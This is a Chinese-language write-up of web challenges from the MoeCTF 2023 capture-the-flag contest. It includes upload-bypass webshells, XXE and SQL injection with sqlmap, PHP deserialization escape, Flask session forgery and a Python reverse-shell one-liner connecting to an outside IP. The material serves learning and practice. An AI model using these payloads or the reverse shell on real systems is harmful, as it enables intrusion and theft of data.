MoeCTF 2023 部分write up
签到题
hello CTFer
给了个url,直接打开就有flag
然后提交就完了
WEB
http
下载一个叫WSRX的客户端连接一下开环境以后给的地址
然后访问localhost:64824
然后就是完成这些任务,1、2有手就行
5就是将ua头的值换成MoeBrowser
就行
3是将cookie
中的character
的值改为admin就行
4是在数据包添加一个字段
1 | X-Forwarded-For: 127.0.0.1 |
然后所有任务完成,flag就出了
web入门指北
题目显示要解码得flag
先把附件下载下来看看,解压完是个pdf文档
文档最后发现了一组神秘数字,要解码的应该就是这个了
一眼十六进制,那就转字符一下,写个脚本
1 | original_hex_string = "66 6c 61 67 3d 62 57 39 6c 59 33 52 6d 65 33 63 7a 62 45 4e 76 62 57 56 66 56 47 39 66 62 57 39 6c 51 31 52 47 58 31 63 79 59 6c 39 6a 61 47 46 73 62 47 56 75 5a 30 55 68 49 58 30 3d" |
结果是个base64编码的字符,看来没有一步出啊
转换后得flag
彼岸的flag
开环境以后,用wsrx连一下,然后访问得到一个聊条记录
然后看源码找就行,一开始搜flag没搜到,就想着搜下ctf,然后就出货了
cookie
下载附件后,解压得到一个文档
开环境之后,直接访问/flag,嗯,确实不可能这么简单,直接就给
那就先注册
先访问/register,然后抓包换成POST类型,然后提交
1 | { |
然后再登录(按照下载的附件操作就行了),然后访问/flag
然后注意到响应中的token是个base64编码的字符串,解码后得到(之前没注意到,就重新注册了然后一顿乱操作才注意到)
那就将user改成admin就行了,然后构造的cookie替换访问/flag
的请求包中的token就有flag了
gas!gas!gas!
感觉像一个游戏
测试了一下,如果没有时间限制,很容易就能通过要求,但是限制了0.5s,那就写个脚本(实际是找大佬要了)
1 | import requests |
脚本跑一下就出来了
moe图床
开环境看到是一个上传的界面
看前端元素发现,只能上传png格式的图片
审了下源码看到有个upload.php,蛮访问下,看到了上传的源码
主要是要绕开png验证就行,可以看到它是以.
分割文件名,然后检测第二部分是不是png,那就将马子改成.png.php
就能绕过验证了
然后访问返回的路径rce,成功
然后emmm环境断了,没事继续,rce好像没成功(那看来后续连蚁剑找到,而rce没成功是因为连接断了的问题),连蚁剑看看,在根目录找到flag
了解你的座驾
明确说在根目录了,那等等到那一步了应该找起来更容易了(?)
开环境后访问,是这样一个界面
选最后一个,然后看到了这。。。🤔
审了下源码,应该是考xxe,然后也说了flag在根目录
那就构建一个触发代码
1 | <?xml version='1.0'?> |
然后得到一串base64编码的字符
但是解码结果很怪,所以还得继续找(问会选择哪个🤔)
1 | moectf{Which_one_You've_Chosen?SkTaNRo_Z5LzERd8ACHT5QmANJtwm |
后来问了朋友,告诉我要嵌套一下,不能直接引入读文件的外部实体,所以payload改为
1 | <?xml version='1.0'?> |
大海捞针
题目给了环境地址,打开后是要爆破
那爆破以后发现有个长度很突出的,达到2035,然后在响应里搜索了一下就找到了
meo图床
开环境后,跟moe图床那题一样也是一个标准上传页面,看看源码
比moe那道题的少了很多,先做些测试,发现了限制
这次用.png.php
绕过不了了🤔
加个图片头就能绕过了
那传个php文件,也是上传成功
但访问后显示,好像还是没有解析成php文件
确实,从响应中看到,类型是png图片了
然后想着它这个文件名给我加了个随机数,我就直接访问上传的1.php,然后发现了file_get_contents()
,那就试试文件读取,猜flag在根目录
果然,找到了线索,给了flag文件名
嗯然后没找到,直接访问看到了源码
看来是要进行md5碰撞,用数组做,然后出了flag
1 | http://localhost:57189/Fl3g_n0t_Here_dont_peek!!!!!.php?param1[]=collision¶m2[]=alohomora |
夺命十三枪
开环境,然后直接就能看到源码
发现有个Hanxin.exe.php
,访问后得到源码
1 | <?php |
ok,看来这题应该是考反序列化🤔,在Deadly_Thirteen_Spears
的Make_a_Move
方法中有str_replace()
函数,那就明了了,要字符串逃逸,跟flag有关的是Omg_It_Is_So_Cool_Bring_Me_My_Flag
的__toString
方法,这个不用管,因为在题目源码里有执行了,不需要我们去看这个魔术方法,跑出flag的条件是$this->Spear_Owner == 'MaoLei'
,那目的就有了:利用逃逸将Spear_Owner
的值改为MaoLei
。
那么先本地测一下,随便输入一个值得到想要的反序列化字符串
测试:
1 | <?php |
跑出来的结果是O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";i:1;s:11:"Spear_Owner";s:6:"MaoLei";}
这其中只有
1 | s:11:"Spear_Owner";s:6:"MaoLei";} |
是我们想要的,这一共有33个字符,但是逃逸的时候,我们需要闭合前面的东西,所以要添加";
,那一共就是35个字符,也就是
1 | ";s:11:"Spear_Owner";s:6:"MaoLei";} |
然后就是看到这个
1 | public static function Make_a_Move($move){ |
这里的$move
就相当于题目源码里的$Chant
,它的值是我们传入get参数值,然后这一段呢,会把$Chant
里的$index
用$movement
替换,$index => $movement
就跟数组$Top_Secret_Long_Spear_Techniques_Manual
里的值一样,$index
就是数组里的索引,$movement
是与索引关联的值,这样变量搞清楚,就是明确目标
要找值比索引多一个字符的那个组合,也就是"di_yi_qiang" => "Lovesickness"
,多一个是因为是用值替换索引,要逃逸的字符是35个,那就要刚好多出35个字符达到这个效果
那payload也可以构建了,因为di_yi_qiang
会被Lovesickness
替换,每替换一次就多一个字符,那替换35次就行了,所以
1 | ?chant=di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";} |
signin
题目给了附件,是网站源码,这个先放着,打开网页,是个登录界面,并告诉我们默认账号密码是admin:admin
,先登录看看
抓包发现发送的数据是这样的
1 | {"params":"VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVEQlZiVEV3WVZaWmVXVkVSbFJXTW5kNldWWmtUMU5HU25WalIzQk9UV3hKZVZkVVNYaFZiVVpXVDFoQ1ZHSlhhR2hWYm5CSFpERnNkR0pGZEZCVlZEQTU="} |
将它解码以后(base64五次,源码里有展示编码方式)得到
1 | {"username":"admin","password":"admin"} |
先试着发包看看
回显为
1 | HTTP/1.0 403 Forbidden |
然后联系到源码中,找到了过滤条件
1 | if params.get("username") == "admin": |
username
的值不能为admin
,password
不能和username
相同,这里想到或许可以去引号的方式绕过,即以下格式构造
1 | {"username":"admin","password":admin} |
然后直接这样编码后提交,就引发了异常
![[../images/moe2023/Pasted image 20230930135505.png]]
然后就是猜出来了,看到一个看不懂的代码
1 | eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it? |
写了一大串,应该是对代码中的十六进制数进行异或运算,然后将结果返回表示整数的字节数组,并删除其中的空字符,然后就不懂了,但是看到了signed=True
就想到了1,然后就想着用1去登录
构造,然后base64编码五次
1 | {"username":"1","password":1} |
提交之后就出结果了
出去旅游的心海
一开始没啥思路,然后就是看源码,也没找到什么,然后想着看看这个站有啥
然后这个文章引起注意(数据库三个字)
并且旁边有个
然后就尝试找这个文件,因为这一般属于博客的插件什么的,结果源码里没显示
蛮看看网络里的东西,看看是否会请求这个文件,然后找到了一个logger.php
,访问http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php
就看到了源码(/wp-content/plugins
说明果然是插件)
1 | <?php |
源码显示接收三个post参数ip
、user_agent
、time
那这种一看就是可以用sqlmap的,蛮跑下
先发个包看看
1 | ip=1&user_agent=2&time=3 |
然后回显
那应该是time存在注入了,把这个包文保存下来然后注入了
1 | python sqlmap.py -r "1.txt" |
或者直接指定字段
1 | python sqlmap.py -r "1.txt" -p time |
ok注进去了,可以看到是时间盲注
接下来就是爆库爆表然后读数据了
1 | python sqlmap.py -r "1.txt" --dbs |
1 | python sqlmap.py -r "1.txt" -D wordpress --tables |
1 | python sqlmap.py -r "1.txt" -D wordpress -T secret_of_kokomi --dump |
moeworld
ok 是渗透题
题目目标是:
1 | 本题你将扮演**红队**的身份,以该外网ip入手,并进行内网渗透,最终获取到完整的flag |
然后目标网站是这样
登录进去是这样
应该是要伪造session吧,明说了使用强且随机的字符串作为session的密钥。 app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
先抓包看看cookie,解码后是这样
1 | {"power":"guest","user":"lan1oc"}.eÐTw.¼" ³]Ü4ùîVÞ#V̯Pcw |
权限是guest
,那肯定是要改成admin
,然后就是要爆破secret_key
,由os.urandom(2).hex()
可知是个四位的随机数,那就简单爆破一下,先生成字典
1 | import os |
然后就需要用到一个工具Flask-Unsign
1 | flask-unsign --unsign --cookie "eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImxhbjFvYyJ9.ZRkGQA.X6JdhdAb2slYD29UzNAd4vYgYTQ" --wordlist dict.txt |
得到密钥之后就用flask-session-cookie-manager来伪造session
先测试密钥看看对不对(就是解密以下coockie)
1 | python flask_session_cookie_manager3.py decode -s This-random-secretKey-you-can't-get1551 -c eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImxhbjFvYyJ9.ZRkGQA.X6JdhdAb2slYD29UzNAd4vYgYTQ |
然后就是伪造session了
1 | python flask_session_cookie_manager3.py encode -s 'This-random-secretKey-you-can't-get1551' -t "{'power': 'admin', 'user': 'lan1oc'}" |
然后就是替换cookie登录,就会发现多了个留言泄露了console的pin
然后扫目录扫了下,得到console页面的url
然后就是反弹shell了,也可以用一个网站来生成命令反弹shell命令生成器
因为是python的console,所以找python代码类型的
1 | import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("100.126.224.104",404));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh") |
然后shell就弹过来了🎉🎊🎉
然后在根目录找到一个flag文件,但是读取后发现只有一半
然后联想到题目要求那到外网靶机shell要看readme
得到
1 | $ cat readme |
好家伙,还要内网渗透了😭,那就先看看内网ip
1 | hostname -i |
先扫了172.20.0.4
结果为
1 | 172.20.0.1:21 open |
再扫172.21.0.3
因为readme中说了,忽略*.*.*.1
的所有结果,所以这个扫描应该没什么用,主要看172.20.0.4
的结果,然后从大到小排列,密码为
1 | 22-3306-6379-8080 |
成功解压hint压缩包,然后将它改成txt后缀就能看到其中内容
1 | 当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果 |
看来flag是三段的,还有两段要找😑,接下来的内网穿透就不会了,开摆😋